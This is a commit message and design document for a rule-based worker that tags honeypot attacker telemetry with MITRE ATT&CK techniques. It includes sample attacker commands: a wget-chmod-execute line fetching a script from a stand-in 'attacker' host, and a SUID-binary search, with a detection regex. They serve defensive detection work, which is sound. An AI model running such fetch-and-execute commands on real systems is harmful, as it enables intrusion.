Implements the rule engine body left empty at contract phase: evaluate() dispatches by source_kind through self._by_kind, runs the rule's match spec against event.payload, and emits one TTPTag per emits entry. watch_store() loads the initial corpus from RuleStore.load_compiled, then drains subscribe_changes, applying definition changes via single-statement dict assignment (atomic swap, GIL-atomic to readers) and state changes via NamedTuple._replace on the existing CompiledRule. Why: with the FS + DB stores in place (E.3.5/E.3.6), the engine is the last piece of the rule plane. Lifters (E.3.9–E.3.13) consume the engine; the worker bootstrap (E.3.14) wires watch_store into the asyncio event loop. After this commit a CompositeTagger constructed with a RuleEngine + a populated rules dir will produce real tags. Notes: - CompiledRule.emits extended to 4-tuple (technique_id, sub_technique_id, tactic, confidence). Tactic + confidence ride per-emit so a single rule can carry multiple precision targets (the "one event maps to many techniques" property). Compile helpers in both backends extract them from the YAML emits dict; missing tactic or confidence is a deploy-time error. - v0 match operator is "pattern" (regex). The field defaults per source_kind (command_text / raw_url / subject / verdict / …) and is overridable via match.field. Future ops (contains, equals, in_set) extend _match_event without touching the engine surface. - Confidence model: rules with state="clipped" + confidence_max set cap the per-emit confidence downward; clipped is a soft suppress, not a hard skip. Disabled rules are skipped wholly; expires_at past is re-checked at evaluate as defense-in-depth (the store auto-reverts, but a racing read between expiry and revert must not fire the rule). - _span(name, **attrs) helper in engine + both stores short-circuits on decnet.telemetry._ENABLED — matches the project's @traced / wrap_repository zero-overhead-when-disabled pattern instead of relying solely on the no-op tracer indirection. - Late-bound tracer (telemetry.get_tracer called per-span, not at module load) so test_tracing's monkeypatch reaches the production code path. xfails flipped: tests/ttp/test_rule_engine.py multi-emit fan-out + rule_version-collision-via-engine; tests/ttp/test_multi_mapping.py N×M engine fan-out + idempotent replay; tests/ttp/test_tracing.py ttp.eval span hierarchy + ttp.rule.fire span attributes. Tests: 214 passed, 19 xfailed (gated on E.3.8 lifters / rule pack / worker bootstrap). mypy: clean on prod code; pre-existing test-stub arg-type warnings unchanged.
148 KiB
TTP Tagging — Design
Status: pre-implementation. This doc is the spec; code follows.
Roadmap pressure: Detection & Intelligence §"TTPs tagging" in
DEVELOPMENT.md. Downstream consumer: campaign clustering already
demands commands_by_phase_on_decky (currently empty in production —
synthetic fixtures only).
Premise
We collect a great deal of attacker telemetry — shell commands, HTTP requests, FTP/SMB/Redis/Mongo ops, auth attempts, payload uploads, full SMTP messages with every header, TLS/SSH fingerprints, scan signatures, canary triggers. None of it is labelled with a standardised behavioral vocabulary. A SOC analyst asking "which identities exhibited T1110.003 (password spraying)?" or "which sessions sent T1566 phishing?" cannot get an answer today.
The roadmap line "TTPs tagging — Map observed behaviors to MITRE ATT&CK techniques" needs a load-bearing definition before any code is written. This document provides it.
The deliverable is a classifier worker that consumes existing
telemetry and emits (event, MITRE technique, confidence) rows. It
is a pure derivation step — it adds labels, never new observations.
Vocabulary: ATT&CK is canonical, UKC is a view
decnet/clustering/ukc.py already declares itself as the bridge to
the future TTP-tagging worker. That instinct is correct, but the
mapping is not 1:1:
- UKC has 18 phases. ATT&CK has 14 tactics and ~600 (sub-)techniques.
- UKC merges some boundaries (
delivery/exploitation/social_engineering) that ATT&CK separates differently. - ATT&CK has Resource Development (TA0042) as a tactic; UKC bundles
it pre-target. ATT&CK has no
objectivestactic. - SOC integrations (Wazuh, TheHive, Sigma rules, MITRE Navigator) speak ATT&CK, not UKC.
Decision: ATT&CK technique IDs are the canonical storage. UKC
remains a view derived from ATT&CK tactic via a static map at query
time. The campaign clusterer's commands_by_phase_on_decky
projection is computed by translating each tag's tactic to its UKC
equivalent.
UKCPhase stays. It is not deleted. It becomes a projection, not a source of truth.
Scope ladder: Observation → Identity → Campaign
DECNET resolves attackers at three levels (IDENTITY_RESOLUTION.md):
- Observation (
Attackerrow) — per-IP sighting; mutable; the unit of ingestion. - Identity (
AttackerIdentityrow) — recovered from rotation- resistant signals (JA3, HASSH, payload hashes, eventually keystroke biometrics onSessionProfile). - Campaign (
Campaignrow) — coordinated identities.
TTPs anchor at the Observation layer for storage, surface at the Identity layer for display, aggregate at the Campaign layer for analytics. This mirrors the pattern the rest of the schema already follows: write at the lowest available level, denormalize the parent for fast lookups, let the FK chain handle merges.
Per-event tags get an attacker_uuid (the source row directly).
Cross-Observation signals (e.g. password spraying visible only when
50 rotated IPs are viewed as one Identity) cannot be anchored to a
single Attacker row — they are emitted as source_kind = "identity_rollup" with attacker_uuid = NULL and identity_uuid
populated.
Crucially: biometric features (keystroke dynamics, etc.) live as
fields on AttackerIdentity / SessionProfile, NOT on ttp_tag.
The TTP worker reads them via the identity_uuid / session_id
join when biometric lifters land. No biometric-specific columns
land on ttp_tag pre-emptively. (See "Forward-compat" below.)
One event maps to many techniques
Load-bearing — every layer of the design must respect it.
A single find / -perm -u=s 2>/dev/null shell command implicates:
- T1083 — File and Directory Discovery (the
find /traversal) - T1548.001 — Setuid and Setgid (the
-perm -u=spredicate specifically searches for SUID binaries)
A single wget http://attacker/x.sh && chmod +x x.sh && ./x.sh
implicates:
- T1105 — Ingress Tool Transfer (the
wget) - T1059.004 — Unix Shell (the
./x.shexecution) - T1222.002 — Linux File and Directory Permissions Modification
(the
chmod +x)
A single SMTP MAIL FROM:<ceo@victim.com> with 200 RCPT TO
recipients and a From: header pointing to a different domain
implicates:
- T1496 — Resource Hijacking (using our relay as infrastructure)
- T1586.002 — Compromise Accounts: Email Accounts
- T1566 — Phishing (mass send pattern)
- T1036 — Masquerading (
From:/Return-Path:mismatch)
The design supports this at three levels:
Schema level. ttp_tag is a join table. One row per
(source_kind, source_id, technique_id, sub_technique_id, rule_id)
— emphatically NOT keyed on (source_kind, source_id) alone.
Rule level. A YAML rule may declare multiple techniques in one
emits block.
Engine level. Multiple independent rules may fire on the same event. Idempotency is at the deterministic-UUID level so re-running on the same input is a no-op insert.
Non-goals
- No attribution to named threat actors ("APT-29", "FIN7"). That is a separate problem (campaign-level attribution) and conflating it with TTP tagging is how every honeypot project drifts into speculative attribution.
- No real-time response actions. TTPs feed the dashboard, webhooks, and the campaign clusterer. They do not gate, block, or alter decky behavior in v1.
- No ML/LLM classifier in v1. Rules first.
- No retroactive batch re-tagging at v1. The worker tags forward from the day it ships; older rows stay untagged. A backfill CLI command lands separately.
- No biometric-specific columns on
ttp_tag. (See "Forward-compat".)
Forward-compat for unbuilt features
DECNET will gain capabilities post-v1 (keystroke biometrics, HTTP/2
fingerprint deepening, federation gossip, …). The user should not
be forced to migrate when those land. The right answer is NOT
to pre-bake columns for every speculative feature — that is the
inverse failure mode and clogs the schema with nulls for fields
nobody can interpret. The right answer is:
- Open
source_kinddiscriminator. It is a string, not an enum. New kinds (keystroke_session,biometric_match,email_attachment) appear in production data without DDL. - Foreign keys to the appropriate parent rows.
attacker_uuid,identity_uuid,session_id,decky_idare sufficient anchors for any future signal we can foresee. - Biometric features live where they belong — on
AttackerIdentityandSessionProfile. The TTP worker reads them via the existing FK joins. Nottp_tagschema change.
If a future feature needs a new column on ttp_tag, the pre-v1
"add it directly to SQLModel" rule applies until v1, after which
Alembic does the migration. We do not pay that cost speculatively.
Half-open source_kind — be honest about which layer is open.
The source_kind discriminator is forward-compat at the storage
layer: SQLite / MySQL accept any string and the ttp_tag row
schema does not need a DDL change to absorb a new kind.
It is NOT forward-compat at the runtime layer. Every lifter
declares HANDLES: frozenset[str] (E.1.6) and the
CompositeTagger skips events whose source_kind no lifter
claims. A new source_kind arriving in production with no lifter
update is a silent drop, not an error — the row never exists
because nothing produced it. The CDD test suite passes; no log
line fires; the analyst sees nothing.
This is the standard "schema is forward-compat, code is not" trap; naming it makes it impossible to forget. The mitigation is operational, not architectural:
- New
source_kindstrings are added to a module-levelKNOWN_SOURCE_KINDS: frozenset[str]indecnet/ttp/base.pyat the same time as the producer ships. - The composite tagger logs a
WARNING(rate-limited per kind) when it sees asource_kindthat is inKNOWN_SOURCE_KINDSbut no lifter claims — i.e., we expected someone to handle it. - A
source_kindnot inKNOWN_SOURCE_KINDSlogs a singleINFOline per kind per process lifetime — "telemetry from a future feature, no lifter yet, by design." Not an error.
So: storage is open, runtime is closed-by-enumeration with an observable bridge. Don't ship one without the other.
Decoupling: bus-driven, never a hard dependency
The TTP worker has zero hard dependencies on other DECNET workers. It consumes their outputs opportunistically — when a related worker has produced data, TTP emits richer tags; when it hasn't, TTP emits whatever it can from primary telemetry alone. No-SPOF is load-bearing for the project as a whole, and the TTP worker is no exception.
The pattern, applied uniformly:
-
Bus-woken, never bus-blocked. TTP subscribes to upstream completion signals (
attacker.enriched,identity.formed,credential.reuse.detected). It WAKES on them. It does NOT wait for them. Ifattacker.session.endedfires and intel has not yet returned for this attacker, rule-based + behavioral tags still emit. When intel arrives later, theattacker.enrichedevent re-wakes the worker, intel_lifter reads the now-populated row, intel-derived tags emit retroactively. Idempotent UUIDs prevent duplicates. -
No producer-side imports.
decnet/ttp/impl/intel_lifter.pyimports theAttackerIntelSQLModel (a data shape) but neverdecnet.intel.{abuseipdb, greynoise, feodo, threatfox}(the provider clients). If the entire intel package is removed from the install, the TTP worker still starts and still emits all non-intel tags. Same rule for biometric_lifter once the keystroke ingester ships: it importsSessionProfile, never the ingester. -
Reads tolerate absence. Every lifter that consults a sibling-worker output handles
None/empty as "no tags from this source", never as an error. Noraisepaths on missing rows. NoWARNINGlog lines for absent intel — that's the normal case for a freshly-observed attacker. -
Worker registration is independent. In
web/worker_registry.py,ttpandenrichare siblings. Neither lists the other as a dependency. Both can run alone; running both produces richer output. -
API / UI degrade gracefully.
/api/v1/ttp/*returns whatever tags exist. There is no "intel not available" error path, no spinner blocked on enrichment, no UI banner saying "tags incomplete because intel is offline". The dashboard shows what's been tagged; if intel comes online later, more tags appear without a refresh signal beyond the existingttp.taggedSSE stream.
The same five rules apply to every future consumer of TTP outputs
(federation gossip, MISP export, SOC custom workers): subscribe to
ttp.tagged, tolerate absence, never block.
Order of work
Strictly sequential. Each step lands on its own commit:
- This design doc.
- Telemetry inventory — Appendix A below. Per-service event catalogue with ATT&CK technique mappings and confidence bands. This is the load-bearing data work; it cannot be skipped.
- Schema-only PR —
ttp_tagtable, empty. New nullable bus topic constants indecnet/bus/topics.pydeclared but unused. Wiki:Service-Bus.mdupdated in the same PR. - Read-only API —
/api/v1/ttp/*returning empty lists. API shape locked; frontend can begin. - Frontend —
IdentityDetailgains a "TTPs Observed" section (primary surface).AttackerDetailgains a per-IP slice. Empty states until the worker lands. - Worker + store substrate —
decnet/ttp/{base.py, factory.py, impl/}anddecnet/ttp/store/{base.py, factory.py, impl/{filesystem,database}.py}following the provider-subpackage convention.ttpregistered inweb/worker_registry.py../rules/ttp/directory created at projroot, empty. Bus subscriptions wired; no rules yet. - Rule pack v0 — the first 45–60 highest-precision rules
(Appendix B). Ships at
./rules/ttp/, one YAML file per technique family. The./rules/directory at projroot is created in this step (or the prior store-substrate step). - Behavioral lifters — derive techniques from existing
AttackerBehavior/Credential/CredentialReuserows. - Intel lifter — opportunistic consumer of
AttackerIntelrows; bus-woken onattacker.enriched. Adds high-precision tags from AbuseIPDB / GreyNoise / Feodo / ThreatFox verdicts without becoming a dependency. (See "Decoupling" rules above.) - Email lifter — SMTP message-level rules; the largest single engine class by signal volume.
- Sigma rule integration — curated subset, reviewed by hand, not bulk-imported. (See "Hard parts" §3.)
- Biometric lifters — when the keystroke ingester populates
SessionProfile. Appendix D documents the integration point.
Each step gets its own commit per project convention; tests in the same commit as the code per project convention.
Why now, why not later
The signal is already collected. SSH transcripts, HTTP logs, SMTP messages with full headers, payload hashes, fingerprints, credential captures all land in the DB today. Every day we delay tagging, we accumulate untagged rows the analyst has to grep manually.
Campaign clustering needs this. The clusterer currently has an
empty commands_by_phase_on_decky in production — its
sophisticated phase-handoff edge weight is dormant because nothing
attaches phases to commands. TTP tagging is the missing producer.
Identity rollup needs this. decnet/profiler/identity_rollup.py
aggregates per-Attacker rows into Identity-level profiles but has
no behavioral-vocabulary surface to expose. TTPs become the
"what does this Identity do?" answer.
SIEM/SOAR integration is bottlenecked on it. Webhooks already ship attacker events, but the receiving side (Wazuh, TheHive, Shuffle) speaks ATT&CK. Without technique IDs in our payloads, the correlation rules on the SOC side stay generic.
Schema
ttp_tag (new table)
One row per (event × technique × rule) tuple. Pre-v1: add directly
to SQLModel; no _migrate_* helper.
class TTPTag(SQLModel, table=True):
__tablename__ = "ttp_tag"
# Real RFC-4122 UUIDv5 string (36 hex+hyphens), deterministic
# over (source_kind, source_id, rule_id, rule_version,
# technique_id, sub_technique_id) under a fixed namespace.
# NOT a truncated SHA-256 — calling that "uuid" tanks
# schemathesis the moment a downstream router types it as
# UUID4. See `compute_tag_uuid()` below.
uuid: str = Field(primary_key=True)
# Provenance — what was tagged. Discriminator + opaque ID.
source_kind: str # "command" | "http_request"
# | "auth_attempt" | "payload"
# | "fingerprint" | "scan"
# | "canary" | "canary_fingerprint"
# | "session"
# | "email" | "email_header"
# | "email_body"
# | "email_attachment"
# | "intel_verdict"
# | "identity_rollup"
# | "keystroke_session" (future)
# | "biometric_match" (future)
source_id: str # FK-ish; not a hard FK
# because source_kind varies
# Scope anchors. attacker_uuid is nullable for identity-rollup tags
# whose signal is only visible across multiple Attacker rows.
attacker_uuid: Optional[str] = Field(
default=None,
foreign_key="attackers.uuid",
index=True,
)
identity_uuid: Optional[str] = Field(
default=None,
foreign_key="attacker_identities.uuid",
index=True,
)
session_id: Optional[str] = Field(
default=None, index=True,
)
decky_id: Optional[str] = Field(
default=None, index=True,
)
# ATT&CK
tactic: str = Field(index=True) # "TA0001".."TA0043"
technique_id: str = Field(index=True) # "T1110"
sub_technique_id: Optional[str] = Field(
default=None, index=True, # "T1110.003"
)
# Confidence + evidence
confidence: float # [0.0, 1.0]
rule_id: str = Field(index=True) # rule that fired
rule_version: int # bumped on rule edits
# Native JSON column, dialect-adaptive: SQLite stores as TEXT,
# MySQL as native JSON. No `default=` — every insert MUST
# supply evidence; a tag without evidence is a lifter bug.
# Type is `dict[str, Any]` so type-checkers can see structure;
# the per-source_kind shape contract is pinned in
# "Evidence shape contract" below — every lifter writes the
# same shape for the same source_kind, no per-lifter dialects.
evidence: dict[str, Any] = Field(
sa_column=Column(JSON, nullable=False),
)
# ATT&CK matrix release the tag was emitted against (e.g.
# "enterprise-v15.1", "ics-v15.1"). REQUIRED, never nullable
# and never Optional[str] — a tag without an ATT&CK release ID
# cannot be rendered deterministically in MITRE Navigator
# because technique IDs migrate between releases. Drop this
# invariant and the next "T1086 vs T1059.001" rename leaves
# tags pointing at IDs that no longer exist. The startup
# consistency check (Hard parts §8) refuses to boot the worker
# if the rule pack's release disagrees with the bundled matrix.
attack_release: str = Field(index=True)
created_at: datetime = Field(
default_factory=lambda: datetime.now(timezone.utc),
index=True,
)
__table_args__ = (
# At least one of attacker_uuid / identity_uuid must be set.
# MySQL <8.0.16 parses CHECK but ignores enforcement —
# the app-layer guard in __init__ covers that gap.
# SQLite, MySQL 8.0.16+, and Postgres honor it natively.
CheckConstraint(
"attacker_uuid IS NOT NULL OR identity_uuid IS NOT NULL",
name="ttp_tag_has_anchor",
),
)
def __init__(self, **kwargs: Any) -> None:
# Belt-and-braces for MySQL <8.0.16 where CHECK is silently
# ignored. CRITICAL: this runs BEFORE super().__init__() —
# i.e. before Pydantic field validation. A Pydantic
# `@field_validator` would fire during model build and
# surface as a generic `ValidationError`, hiding the
# specific anchor-missing semantics behind a wall of
# validator output. Raising plain `ValueError` here keeps
# the failure type narrow and the message inspectable.
# The CDD test in E.2.1 asserts the exception type AND that
# both `"attacker_uuid"` and `"identity_uuid"` appear in
# str(exc). Do not "simplify" this into a generic assert
# or a Pydantic validator — the test is the trip-wire.
if (
kwargs.get("attacker_uuid") is None
and kwargs.get("identity_uuid") is None
):
raise ValueError(
"ttp_tag requires at least one of attacker_uuid / "
"identity_uuid; both NULL is not a valid anchor."
)
super().__init__(**kwargs)
Evidence shape contract. evidence is JSON but not freeform.
Every lifter writes a known shape per source_kind; the contract
is enforced by tests/ttp/test_evidence_shape.py (E.2.1
extension) which parametrizes over each lifter and asserts the
emitted dict matches a TypedDict declared in
decnet/web/db/models/ttp.py alongside TTPTag:
class CommandEvidence(TypedDict):
matched_tokens: list[str]
rule_pattern: str # regex source, not user input
class IntelEvidence(TypedDict):
intel_uuid: str
provider: Literal["abuseipdb", "greynoise", "feodo", "threatfox"]
category: int | None
score: float # already normalized to [0.0, 1.0]
class EmailEvidence(TypedDict):
body_sha256: str # hash, never raw body (PII rule §6)
matched_headers: list[str] # header NAMES, not values
rcpt_domain_set: list[str] # domains, not addresses
attachment_sha256s: list[str]
rcpt_count: int
class CanaryFingerprintEvidence(TypedDict):
metric: str # "navigator_webdriver", "canvas_hash", …
matched_signature: str # signature ID, not raw fingerprint
Adding a new source_kind requires adding a TypedDict here AND a
test entry in test_evidence_shape.py. The PII discipline from
Hard parts §6 lives in the type, not in folklore — recipient
addresses cannot land in EmailEvidence because no field
accommodates them. See also "Half-open source_kind" below: the
storage layer accepts any string, but the lifter + evidence-shape
layer is closed by construction.
Querying inside evidence is backend-specific — SQLite uses
json_extract(evidence, '$.intel_uuid'), MySQL uses
evidence->>'$.intel_uuid'. Predicates do NOT portably traverse
the JSON column; SQLite has no functional index inside JSON. If a
future endpoint wants "all tags from AbuseIPDB", we promote
provider to a real column on ttp_tag rather than relying on a
JSON dive. The JSON column is for storage-and-display, not for
indexed query paths.
Why both attacker_uuid AND identity_uuid. Per-event tags
have both populated (identity_uuid is denormalized from
Attacker.identity_id at insert). Identity-rollup tags have only
identity_uuid. The denormalization mirrors how the rest of the
schema handles identity rollups — same playbook as
AttackerBehavior and the per-IP profile rollup.
At least one of attacker_uuid / identity_uuid MUST be set.
A CHECK constraint in the table definition enforces this. There is
no such thing as a tag with neither anchor.
Identity merges/unmerges. When the clusterer collapses two
Identities, the merge mechanic (per IDENTITY_RESOLUTION.md)
re-keys all attacker_identities.uuid references via FK. Tags
follow naturally. No bespoke ttp_tag merge code needed.
No FK on source_id. Sources span multiple tables. A
discriminated union with hard FKs would mean N nullable columns;
not worth it. The tagger is the only producer; it never inserts a
tag with a source it didn't just read.
Retention: tags outlive sources. The lack of an FK on
source_id means deleting the underlying payload / session /
attacker_command row does NOT cascade to ttp_tag. This is
deliberate — historical ATT&CK coverage stays queryable even
after the operator runs source-side retention. The trade-off:
a source_id may dangle; the evidence-pointer is informational
("this tag came from row X, which may no longer exist"), not a
join target the API trusts to resolve.
The vacuum policy is opt-in, not automatic:
decnet ttp vacuum --orphaned --since N dayswalksttp_tagand drops rows whosesource_idno longer resolves under theirsource_kind. Off by default. Operators who want strict tag-source pairing run it on a cron; operators who want long-lived behavioral history don't.- The
attacker_uuidandidentity_uuidFKs DO cascade ON DELETE — deleting an Attacker drops its per-event tags cleanly. This is the GDPR / "purge this attacker" path. Identity-rollup tags (no attacker FK) survive the cascade and remain anchored to the Identity until it too is deleted.
This is stated, not silent. A tag's lifecycle is independent of its source row's lifecycle by design.
Idempotency. The tag uuid is a deterministic UUIDv5
derived from (source_kind, source_id, rule_id, rule_version, technique_id, sub_technique_id) under the fixed namespace
uuid.UUID("decnet:ttp_tag:v1") (see compute_tag_uuid() for the
exact derivation). Replays are no-ops at the DB layer. The result
is a real RFC-4122 UUID — Pydantic / OpenAPI / schemathesis treat
it as format: uuid, downstream routers can type it as UUID,
and the column round-trips to native UUID types on backends that
have one. Truncated-SHA-256 strings dressed up as UUIDs would
silently fail UUID-typed validators; this avoids that trap.
Replay safety is a STATED PROPERTY, not an accident. The
deterministic-UUID rule combined with INSERT OR IGNORE means the
worker can safely re-process the same source events any number of
times — crash recovery, backfill, manual re-runs all converge to
the same tag set. A future contributor must not "optimise" the
UUID derivation by, say, adding created_at or a process PID to
the hash inputs; that would silently break replay safety, and
the resulting bug ("why are we writing duplicate tags after
restart?") would take days to diagnose. The CDD test in E.2.2
pins this property; do not weaken it.
Indexes:
(identity_uuid, technique_id)— primary query: "did this Identity ever do T1110?" — IdentityDetail page hits this hard.(attacker_uuid, technique_id)— per-IP slice on AttackerDetail.(technique_id, created_at)— "all T1059.004 in the last week".(session_id)— session detail rollup.(rule_id)— rule-level audit / rollback.
Worked example
Event: attacker_command row with id=cmd_42, content
find / -perm -u=s 2>/dev/null, attacker att_99 (whose
identity_id resolves to id_17), session sess_7, decky
decky_3.
Two rules fire:
find_recursive_rootrule (R0014, version2) — emitsT1083.suid_searchrule (R0015, version1) — emits bothT1083ANDT1548.001.
Resulting ttp_tag rows (abbreviated):
| uuid | source_kind | source_id | attacker_uuid | identity_uuid | session_id | tactic | technique_id | sub_technique_id | confidence | rule_id | rule_version |
|---|---|---|---|---|---|---|---|---|---|---|---|
tag_a1b2… |
command |
cmd_42 |
att_99 |
id_17 |
sess_7 |
TA0007 | T1083 | (null) | 0.75 | R0014 | 2 |
tag_c3d4… |
command |
cmd_42 |
att_99 |
id_17 |
sess_7 |
TA0007 | T1083 | (null) | 0.85 | R0015 | 1 |
tag_e5f6… |
command |
cmd_42 |
att_99 |
id_17 |
sess_7 |
TA0004 | T1548 | T1548.001 | 0.95 | R0015 | 1 |
Three rows. Two distinct techniques; T1083 appears twice because
two rules independently flagged it. The dashboard deduplicates for
display by (identity_uuid, technique_id, sub_technique_id) — but
the underlying rows stay distinct so a rule rollback removes its
contribution cleanly without touching the other.
Worked example — identity rollup
Cross-IP password spraying detected by the credential lifter:
identity id_17 has 7 Attacker rows (rotated IPs) all using
Spring2024! against different usernames across two deckies.
Resulting tag (one row, no per-Attacker anchor):
| source_kind | source_id | attacker_uuid | identity_uuid | tactic | technique_id | sub_technique_id | confidence | rule_id |
|---|---|---|---|---|---|---|---|---|
identity_rollup |
cred_reuse_ev_4421 |
(null) | id_17 |
TA0006 | T1110 | T1110.003 | 0.90 | R0003 |
source_id here is the CredentialReuse row UUID, which is the
underlying evidence the lifter consulted.
Existing tables — additive only
No alters in this PR. Specifically:
AttackerBehavior.phase_sequencealready exists; it stays. The TTP worker reads from it (behavioral lifters), but does not write to it.AttackerIdentitywill eventually grow biometric FK fields. That is a separate PR sequence;ttp_tagdoes not pre-bake those.SessionProfilealready exists empty; biometric lifters will read it viasession_idwhen populated.
Bus topics
Declared in decnet/bus/topics.py; documented in
wiki-checkout/Service-Bus.md in the same PR.
ttp.tagged — one or more new tags written
ttp.rule.fired.{technique_id} — fine-grained subscribe; SIEM-friendly
ttp.rule.suppressed — rule fired but was confidence-clipped or rate-limited
ttp.rule.reloaded.{rule_id} — rule definition changed (filesystem edit
or DB-store sync); engine recompiled the rule
ttp.rule.state.{rule_id} — rule operational state changed (enabled /
disabled / clipped / TTL expired)
Both ttp.rule.reloaded.* and ttp.rule.state.* are per-rule
events, never batched. A 50-rule edit produces 50 reload events.
Subscribers that care about a specific rule subscribe to that
exact token; broad subscribers use ttp.rule.reloaded.>. The bus
does the fan-out — the producer never aggregates.
ttp.tagged payload carries attacker_uuid (nullable),
identity_uuid, session_id, tag_uuids (list), and an aggregate
techniques_added (deduped list of technique IDs, for fast SIEM
correlation without a DB read).
Loop-prevention invariant — CANONICAL STATEMENT. ttp.tagged
is published ONLY when the underlying INSERT OR IGNORE returned
a non-zero row count. Idempotent re-evaluations that produce zero
new tags publish ZERO events. This is load-bearing: a webhook
subscriber that re-triggers enrichment on ttp.tagged could
otherwise loop forever (enrich → attacker.enriched →
intel_lifter → idempotent insert returns 0 → ttp.tagged would
re-fire → loop). The CDD test in E.2.12 enforces this; do not
relax it.
This is the single source of truth for the invariant. Other sections in this doc (Hard parts §11 webhook blast radius, §E.2.12 test plan) cross-reference back here rather than restating — duplicating the rule across three locations is a maintenance liability, not enforcement.
Worker shape
decnet/ttp/ mirrors decnet/intel/ and decnet/clustering/ —
provider-subpackage convention:
decnet/ttp/
__init__.py
base.py # Tagger ABC; tag(event) -> list[TTPTag]
factory.py # get_tagger() reads DECNET_TTP_TAGGER_TYPE
worker.py # bus loop; persistence; dedup
store/ # pluggable rule store (provider-subpackage)
__init__.py
base.py # RuleStore ABC
factory.py # get_rule_store() reads DECNET_TTP_RULE_STORE_TYPE
impl/
filesystem.py # default; reads ./rules/ttp/, inotify watches,
# state held in-process (lost on restart)
database.py # rules + state in DB; survives restart;
# multi-host swarm; master syncs from filesystem,
# workers tail DB
impl/
rule_engine.py # consumes RuleStore; matches events
behavioral_lifter.py # AttackerBehavior → tags
credential_lifter.py # CredentialReuse → tags (identity-rollup)
email_lifter.py # SMTP message + headers + body + attachments
canary_fingerprint_lifter.py # browser fingerprint payload derivations
intel_lifter.py # AttackerIntel verdicts → tags (opportunistic)
identity_lifter.py # cross-Attacker rollups via identity_id join
sigma_adapter.py # (later) Sigma rule subset
biometric_lifter.py # (later) SessionProfile + AttackerIdentity
Rule files live at ./rules/ttp/ (project root) — visible to
the operator, git-tracked, editable without touching the Python
package. Mirrors how ./development/ already exposes spec /
profile artefacts to the user. One YAML file per technique family:
./rules/ttp/
T1110_brute_force.yaml
T1059_command_and_scripting.yaml
T1046_network_service_discovery.yaml
T1566_phishing.yaml
T1496_resource_hijacking.yaml
...
Registered in web/worker_registry.py as ttp. Bus-woken on:
attacker.session.ended— primary trigger; full session availablecredential.reuse.detected— sub-technique disambiguation (T1110.003 vs T1110.004); produces identity-rollup tagsattacker.observed— wakes the tagger to apply low-latency rules (active-scan signatures, fingerprint-based)canary.{token_id}.triggered— discrete eventsidentity.formed/identity.merged— re-evaluate identity-rollup rules with the new membershipattacker.enriched— published by theenrichworker after a successful intel pass; wakes the intel_lifter for the affected attacker. Opportunistic — TTP never blocks on this.email.received(new bus signal — SMTP/SMTP-relay services publish on full-message receipt; declared in this PR alongside the worker)
The worker is idempotent. Same (source_kind, source_id, rule_id, rule_version, technique_id, sub_technique_id) → same tag UUID.
Tagging engines, layered
1. Rule-based (v0 — ships first)
YAML rule files, one per technique family. A single rule may emit multiple techniques.
rule_id: R0015
rule_version: 1
name: suid_search
description: |
`find` invocation with -perm -u=s predicate — explicitly
searching for SUID binaries on the local filesystem.
applies_to:
- source_kind: command
match:
pattern: '\bfind\s+\S+.*-perm\s+(-u=s|-4000|/4000)\b'
emits:
- tactic: TA0007
technique_id: T1083
confidence: 0.85
- tactic: TA0004
technique_id: T1548
sub_technique_id: T1548.001
confidence: 0.95
evidence_fields: [matched_groups, command_id]
Engine compiles rules at startup. Per event class, rules are
indexed by applies_to.source_kind so a single command does not
walk every rule. Aggregate rules (windowed, grouped) run on a
session-end pulse instead of per-event.
Why YAML, not Python: rules need to be reviewable by humans who aren't going to read the codebase. Sigma's success is exactly this property. Code-as-rules ossifies fast.
Hot-reload via store backend
Rules and their operational state live in two separate planes, combined at compile time:
- Definition (immutable, version-controlled): the YAML file.
Sigma-compatible, no DECNET-specific extensions. Lives at
./rules/ttp/for the filesystem store, mirrored into thettp_ruletable for the database store. - State (mutable, operational):
RuleStatecarryingenabled/disabled/clippedplus optionalconfidence_max,expires_at,reason,set_by,set_at. Held in-process for the filesystem store; persisted inttp_rule_statefor the database store.
State is layered onto the parsed rule after parsing, never
embedded in the YAML. The engine sees a unified CompiledRule (definition, state) tuple at evaluation time — single hash
lookup per event, free.
Why this split: definition has slow lifecycle (git commit, review, deploy); state has fast lifecycle (operator hits a disable button, takes effect within seconds). Conflating them in the YAML means "disable this rule for 4 hours" is a git commit; keeping them separate means it's an API call.
Pluggable via decnet/ttp/store/ — see Worker shape above.
The default FilesystemRuleStore is right for single-host dev:
reads YAML files at projroot, inotify-watches the directory,
holds state in-memory (lost on restart, which is fine when the
operator is local).
Linux-only worker host (stated, not implied). inotify is
Linux-specific. FilesystemRuleStore does not ship a
portable kqueue / FSEvents fallback — DECNET's deployment target
is Linux servers, and a polling fallback would be slower and
behave differently enough to be a bug-magnet. The store imports
inotify_simple (or asyncinotify) at module top-level; on
non-Linux systems the import raises and the worker fails fast at
boot rather than silently never reloading. macOS/Windows
developers running the test suite use the DatabaseRuleStore
(which has no inotify dependency) by setting
DECNET_TTP_RULE_STORE_TYPE=database. CI parametrizes both
backends on Linux and only the database backend on macOS — see
tests/ttp/store/conftest.py. The
FilesystemRuleStore factory checks sys.platform == "linux"
and raises a clear RuntimeError ("FilesystemRuleStore requires
Linux for inotify; use DatabaseRuleStore on this platform")
before any inotify import attempt, so the failure mode is a
one-line operator-readable message, not a stack trace deep in
the store init path.
The DatabaseRuleStore is right for swarm:
master syncs filesystem changes into ttp_rule, workers tail the
DB, state in ttp_rule_state survives restart and propagates to
every worker. Pick via DECNET_TTP_RULE_STORE_TYPE.
Hot-reload mechanism:
- Filesystem watch (or DB change notification) detects a per-file change.
- Store recompiles only that rule, atomically swaps it into
the engine's per-
source_kinddispatch index. - Store publishes
ttp.rule.reloaded.{rule_id}(one event, per-rule). State changes publishttp.rule.state.{rule_id}. - In-flight evaluations finish on the rule snapshot they started with (immutable per-eval); next evaluation uses the new compiled form.
"Atomic swap" — concrete definition. Two requirements must both hold:
- Recompile is single-threaded. All compile work runs in one
asyncio task (the store's change-handler loop). Two filesystem
events arriving simultaneously are processed in order, never
in parallel. This eliminates the "rule A's
emitsgrew from 1 to 2 mid-walk" class of torn-state bug. - Dispatch index values are frozen and replaced wholesale.
The engine's index is
dict[str, FrozenCompiledRule]whereFrozenCompiledRuleis an immutable dataclass. To "atomically swap" a rule, the store assigns a new frozen value to therule_idkey — a single GIL-atomic dict assignment. Readers walking the dict during the swap see either the old frozen value or the new one, never a half-mutated object. Mutating any field of an existing frozen value is forbidden by construction (frozen=Trueraises).
The combination gives us: no parallel writers, no in-place mutation. Concurrent readers (event evaluations) are safe under arbitrary edit pressure without a single explicit lock.
Threading-model caveat. Property (2) — single-statement dict
assignment being observably atomic to readers — relies on the
CPython GIL. Under PEP 703 / --disable-gil free-threaded
builds, this guarantee is no longer language-level; a torn read
